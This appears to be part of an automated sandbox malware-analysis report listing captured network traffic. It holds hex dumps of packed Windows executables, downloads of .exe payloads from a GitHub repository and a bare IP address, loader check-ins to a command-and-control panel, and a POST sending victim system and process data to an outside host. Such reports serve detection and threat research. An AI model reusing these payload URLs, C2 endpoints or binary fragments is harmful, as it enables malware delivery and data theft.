10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 54 14 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 c7 0b 00 00 10 00 00 00 c8 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 48 01 00 00 00 e0 0b 00 00 02 00 00 00 cc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 98 a1 06 00 00 f0 0b 00 00 a2 06 00 00 ce 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d ec 94 01 00 00 a0 12 00 00 96 01 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 34 02 00 00 00 40 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 08 1c 00 00 00 50 14 00 00 1e 00 00 00 06 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 70 14 00 00 02 00 00 00 24 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 80 14 00 00 02 00 00 00 26 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 2c 6c 00 00 00 90 14 00 00 6e 00 00 00 28 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 63 00 00 00 00 15 00 00 64 00 00 00 96 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 20:13:43 GMTContent-Type: application/octet-streamContent-Length: 22016Last-Modified: Thu, 19 Dec 2024 14:25:14 GMTConnection: keep-aliveETag: "67642cca-5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 4a 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 05 00 00 00 80 00 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a 00 00 00 00 00 00 48 00 00 00 02 00 05 00 28 37 00 00 80 32 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 2f 00 00 06 0a 06 28 16 00 00 0a 7d 20 00 00 04 06 02 7d 21 00 00 04 06 15 7d 1f 00 00 04 06 7c 20 00 00 04 12 00 28 01 00 00 2b 06 7c 20 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 84 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 ca 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 28 00 00 04 06 02 7d 29 00 00 04 06 15 7d 27 00 00 04 06 7c 28 00 00 04 12 00 28 02 00 00 2b 06 7c 28 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 f0 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 20:13:49 GMTContent-Type: application/octet-streamContent-Length: 4395520Last-Modified: Fri, 20 Dec 2024 18:59:26 GMTConnection: keep-aliveETag: "6765be8e-431200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 a0 c4 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c4 00 00 04 00 00 25 b5 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 7e c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 7d c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 72 00 00 10 00 00 00 34 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 72 00 00 02 00 00 00 44 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 72 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 37 00 00 c0 72 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 67 75 66 65 76 6c 6e 00 b0 1a 00 00 e0 a9 00 00 a2 1a 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 66 6f 66 77 65 67 75 00 10 00 00 00 90 c4 00 00 04 00 00 00 ec 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 c4 00 00 22 00 00 00 f0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 20:14:01 GMTContent-Type: application/octet-streamContent-Length: 1956352Last-Modified: Fri, 20 Dec 2024 19:42:22 GMTConnection: keep-aliveETag: "6765c89e-1dda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 69 b8 cb d3 08 d6 98 d3 08 d6 98 d3 08 d6 98 6e 47 40 98 d2 08 d6 98 cd 5a 52 98 ce 08 d6 98 cd 5a 43 98 c7 08 d6 98 cd 5a 55 98 b8 08 d6 98 f4 ce ad 98 d6 08 d6 98 d3 08 d7 98 a0 08 d6 98 cd 5a 5c 98 d2 08 d6 98 cd 5a 42 98 d2 08 d6 98 cd 5a 47 98 d2 08 d6 98 52 69 63 68 d3 08 d6 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a8 2c b1 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 da 02 00 00 40 01 00 00 00 00 00 00 60 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 86 00 00 04 00 00 5c 0a 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b 80 41 00 6f 00 00 00 00 d0 40 00 a0 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 d5 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 40 00 00 10 00 00 00 4e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 a0 ae 00 00 00 d0 40 00 00 70 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 41 00 00 02 00 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 29 00 00 90 41 00 00 02 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6e 75 6f 62 79 6d 77 00 f0 1a 00 00 60 6b 00 00 e2 1a 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6e 63 67 78 6a 64 72 00 10 00 00 00 50 86 00 00 04 00 00 00 b4 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 86 00 00 22 00 00 00 b8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 20:14:09 GMTContent-Type: application/octet-streamContent-Length: 1859584Last-Modified: Fri, 20 Dec 2024 20:03:23 GMTConnection: keep-aliveETag: "6765cd8b-1c6000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 90 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 49 00 00 04 00 00 ca 62 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 67 71 75 68 63 6e 67 00 e0 19 00 00 a0 2f 00 00 da 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 63 74 77 78 6a 7a 78 00 10 00 00 00 80 49 00 00 06 00 00 00 38 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 49 00 00 22 00 00 00 3e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 38 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018821001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 38 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018822001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1Host: home.fivetk5ht.topAccept: /Content-Type: application/jsonContent-Length: 499437Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 32 35 36 31 36 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 38 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018823001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=oOW9CjHaPjxGyBfT1734725622 HTTP/1.1Host: home.fivetk5ht.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 38 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018824001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 38 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018825001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 38 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018826001&unit=246122658369
